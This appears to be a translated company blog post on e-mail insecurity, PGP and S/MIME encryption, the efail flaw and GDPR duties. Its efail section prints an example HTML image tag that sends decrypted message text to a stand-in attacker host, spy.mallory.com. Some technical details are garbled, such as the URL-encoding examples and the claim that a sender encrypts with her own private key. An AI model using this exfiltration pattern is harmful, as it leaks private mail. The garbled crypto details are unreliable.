The e-mail is historical
The medium e-mail is almost as old as the Internet itself. More precisely, e-mail was implemented and used in 1972, when the Internet was still called “Arpanet”. At the time of this blog article it was 46 years ago. Why do I mention that? The structure and basic functioning of e-mail as a medium has never been changed. It is important to understand that email 46 years ago was not facing today’s challenges. Security, privacy, and the ridiculous amount of sensitive information exchanged via email constitute a modern problem to which email is powerless. And yet we cannot get rid of this medium, because: Everyone uses e-mail.
Anyone could have read your e-mails
The email you send is forwarded through several computers until it reaches the recipient’s mailbox. The e-mail itself has no built-in protection that prevents anyone who forwards it from being able to read it. Of course, the e-mails are not routed through the computers of Aunt Emma or Uncle Heinz, but across e-mail servers that have been integrated into the global network for this purpose. However, there can still be 2, 5, 10 or even 50 servers that receive and forward your e-mails and between these two steps read, index and analyze the e-mail, including all its attachments, and forward copies to third parties. This is why the e-mail is also known as the “postcard of the Internet”.
Let’s say Alice sends Bob an email. She writes it on your computer, connects to your email provider, and the email is sent. The connection from Alice Computer to your provider’s email server is encrypted via SSL. This is transport encryption, which allows the transfer from Alice to your email provider to be securely encrypted without third parties being able to see what Alice is sending to your provider. This is where Alice begins to place its trust in its e-mail provider, who can now read the e-mail in its entirety once the e-mail has been transferred to it. However, Alice wants to trust her provider and assume that, as a serious operator, he will not read or pass on her e-mails.
Let’s continue: Your carrier is trying to deliver the email to Bob. For this purpose it is sent to Bob’s service provider addressed to the next best forwarding server with the order to deliver the email to Bob. The Internet consists of millions of such forwarding servers – a meshed network. This forwarding server stores the email and pushes it to the next one so that Bob can deliver it.
Transport encryption is no longer possible from the first forwarding server onwards. The e-mail is now open to the chance of eavesdropping. But that doesn’t bother us as much as the fact that Alice, our trusted e-mail provider, doesn’t pass the e-mail on to Bob, but to a third party we don’t know. Who is involved? Is the provider of the forwarding server serious? Is it located in our country or on the other side of the world? Is its server protected against hackers? We don’t know.
Simply sending emails is like writing a postcard; anyone who has ever held it knows what it says. Just not with a couple of postal workers, but worldwide, fully automated and indelible.
The email will now be forwarded across several servers. One of them is the server of Mallory, our “villain”. He sits in his armchair and watches the Internet traffic passing through his server, looking for interesting data. He makes a copy of every incoming e-mail, stores it on his hard drives and forwards the e-mail automatically to the next forwarding server.
The email finally reaches the server of Bob’s email provider. Bob retrieves it from his provider via the secure SSL connection and now reads it on his computer.
Sending the email may take a different route at each attempt. It is therefore never guaranteed that Alice emails will take a particular route.
“My e-mails aren’t important enough.”
The security of emails is commonly underestimated because it is intangible. Here are a few examples to inspire your imagination:
- Identity theft: You send login data to an online shop with e-mail and password via e-mail. An attacker can read this data, log in using your data, read out your address and payment data entered there and place orders on your behalf to third party delivery addresses – or possibly even digital vouchers. Alternative scenario: You place your passport in the all-in-one printer and have it “conveniently” scanned and sent via e-mail from there. This e-mail is also sent worldwide and your passport is scattered all over the world as a copy. Copies of passports are traded in the “Darknet”, among other places, in order to pretend a foreign identity.
- Social Engeneering: You send an email to your boss asking him or her to do something. An attacker can use your e-mails to understand and reconstruct how your company will communicate with each other. He can then write e-mails appearing under your name or your boss’s/employee’s name. Nicknames, greetings, salutations or writing styles can allow manipulation to do things you would not have done for a stranger. The so-called CEO fraud is realized in such a way that accounting staff is asked by the “boss” to transfer money abroad.
- Message tampering: Since the message arrives in plain text at the servers, it can be manipulated before it gets forwarded. Just send an e-mail asking for payment to your account and the attacker will change the IBAN/BIC before the e-mail reaches the recipient. It remains your email from the recipient’s point of view.
- Attackable by hackers: Wherever the e-mail was stored – whether at Mallory or a “serious” forwarding server – it is conceivable for hackers to crack a forwarding server and read out all the e-mails stored there. This way, old e-mails can be accessed and used for years ahead.
- Lack of acknowledgement: A regular e-mail is not a message with a verifiable source. Anyone could have invented and delivered this message. So each of your e-mail communication partners could also claim not to have sent this e-mail.
The Solution: Asymmetric Cryptography
You can relax: You don’t have to be an expert in math to use asymmetric cryptography. This type of encryption allows you to send emails securely and solve all the challenges mentioned above. So how does asymmetric cryptography work?
Asymmetric cryptography operates in a way where there is a different key for encrypting than for decrypting. This allows Alice to encrypt the message using Bob’s public key so that only Bob can open the message with his private key.
Alice and Bob each create their own key pair with a public and a private key. Alice and Bob now send each other their public keys. Then Alice takes the e-mail and encrypts it with her own private key as well as Bob’s public key. This will result in an email that can only be read with Alice or Bob’s private key. It also ensures that Alice is the sender of the email. The attacker, Mallory, can no longer view or falsify the e-mail because he is missing the private keys.
So how do you use encryption in practice?
It is essential for encrypted communication that you and your communication partner are using the same encryption method. In practice, there are two methods. First of all: You are best prepared if you integrate both of them:
I‘m free, secure and available worldwide. Use me.PGP: Pretty Good Privacy is also the principle behind the abbreviation. PGP is a free OpenSource encryption method. PGP is a clear recommendation due to its decentralization.
- S/MIME:The S/MIME concept follows an official standard and is based on certificates issued by official authorities (such as Commodo, VeriSign, etc.). It is essential that the keys are generated on the client’s computer. The advantage of S/MIME is that it can be used more widely in e-mail applications and mobile devices, and can be used to send legally compliant (at German laws) documents in writing by e-mail, provided a Class 3 certificate has been obtained.
Since the NSA scandals (see our german blog article from 2014), many common encryption methods are officially no longer considered secure, as backdoors have presumably been installed at various tiers that are used at least by secret services.
Usually, the procedures are automatically integrated into the process after an initial installation; messages are encrypted and decrypted automatically or at the push of a button.
Note: When encrypting via PGP and S/MIME, only the content ( including attachments) is encrypted, but not the metadata. The following remain public: e-mail of the recipient, e-mail of the sender, date of the message and subject. Be careful not to write any personal, sensitive data in the subject.
Using PGP and S/MIME
S/MIME: The first thing you need is a certificate. You will receive a free Class 1 or Class 3 certificate from Comodo or from providers such as PSW.net. The providers will provide you with installation instructions along with the certificate application.
You can send the public key to your communication partners or provide it for download on your website. This allows anyone who wants to communicate with you in encrypted way from the very first e-mail to download the public key in advance. Otherwise, the public key is usually sent along with the first e-mail, so that encrypted data can be sent in a second e-mail. The e-mail programs behave very differently here. The Apple iPhone Mail requires a manual certificate installation for S/MIME and does not run completely by itself, but at least supports the S/MIME procedure.
Get the certificate or private key on the mobile phone
According to the explanation above, you will certainly not send yourself your valuable certificates and private keys unencrypted by e-mail to install them on your phone. Your communication would be compromised even before you have started. Copy the certificates directly from your computer to your phone via cable.
PGP and S/MIME were cracked, weren’t they?
No. In April 2018, the security vulnerability efail became known: A method used to exploit PGP and S/MIME integration that poses a significant risk to most PGP and S/MIME users. However, the PGP and S/MIME protocols are still intact. In the following example of an encrypted email, the content as a whole is decrypted:
How does efaiI actually work? The concept of efaiI is based on the integration of e-mail clients that automatically decrypt encrypted e-mails. So far there is nothing to object, there wouldn’t be HTML as well. The combination of automatic decryption and the execution of HTML code made it possible to modify the original message to transmit the content of the sent e-mail to the attacker.
What does the attacker need? First of all, the attacker must have recorded your encrypted e-mail and have it stored. This e-mail has now been split and before as well as after the encrypted part another HTML block is added, which loads a graphic. A simplistic example:
The result is that the message is decrypted and the HTML is executed. Since the message is called within the “src” attribute of a graphic, the email software converts this text to a URL-encoded format. A space is converted to
+ or a line break to
%2C. The resulting graphic will be attempted to be displayed.
<img src="http://spy.mallory.com/Hello+Bob %2C%0Awe+meet+tomorrow+at+20+pm%21%0A Regards%9Fe%0AAlice"/>
The attacker can now see a “page call” on spy.mallory.com, which tells him: “Hello Bob, we meet tomorrow at 8 pm! Regards Alice“. It is necessary, however, that the attacker has access to the encrypted e-mail, continues to send you the modified e-mail via e-mail and that you then open this e-mail modified by the attacker. Software solutions such as GPG Suite for Mac have already been working on closing this vulnerability.
The relevance of email encryption for the GDPR
The BDSG (Federal Data Protection Act) has already recommended e-mail encryption in advance, as personal data must be transmitted securely. Since the introduction of the GDPR (General Data Protection Regulation) on 25 May 2018, these guidelines have been tightened up once again and placed on a European level. The fines were also raised to a sensitive level: for example, the infringement provides for fines of up to 20 million euros or 4% of the annual turnover (of the parent company). The encryption of personal data is prescribed in Article 32 of the GDPR, which also includes e-mail encryption.
With the knowledge above that all unencrypted e-mails scattered on servers of providers whose names we do not know, whose contracts we still have, which are stored in different countries of the world and which have access to our data, we come to the conclusion that the sending of a personal e-mail without encryption in the business environment is equivalent to a breach of data protection per concept, since grossly negligent, if not even deliberate, the copying, viewing and analysing – the compromising – of the personal data is accepted. Transport encryption (SSL) is often considered sufficient in the current public understanding of the law. However, on the basis of the explanatory notes in this article, this can only be explained by a lack of understanding about the actual technical process.
Furthermore, you are even obliged by Article 33 and Article 34 of the GDPR to report data protection violations to the supervisory authority. Some legal opinions diverge here and say that there was no fault of their own, as an attacker would have to obtain illegal access to the data. This cannot even be confirmed due to the network structure, because laws are different in every country. The US secret service, NSA, has systems in place with PRISM to record all data traffic that comes into contact with them. In this case, access is legal in the United States, but not in Germany. But that is not the point of the GDPR, because you have to prevent personal data from being processed at all. By the way, similar operations can also be found at the British GCHQ.
E-mails transmit much too important data than they send unencrypted. Hackers can view it, sell it or use it against you in a non-legal manner under the GDPR. The one and only solution is to encrypt the email. It is important to convince every business partner of the importance of email encryption so that we can achieve the same market reach for email encryption as for email itself. Stay tuned!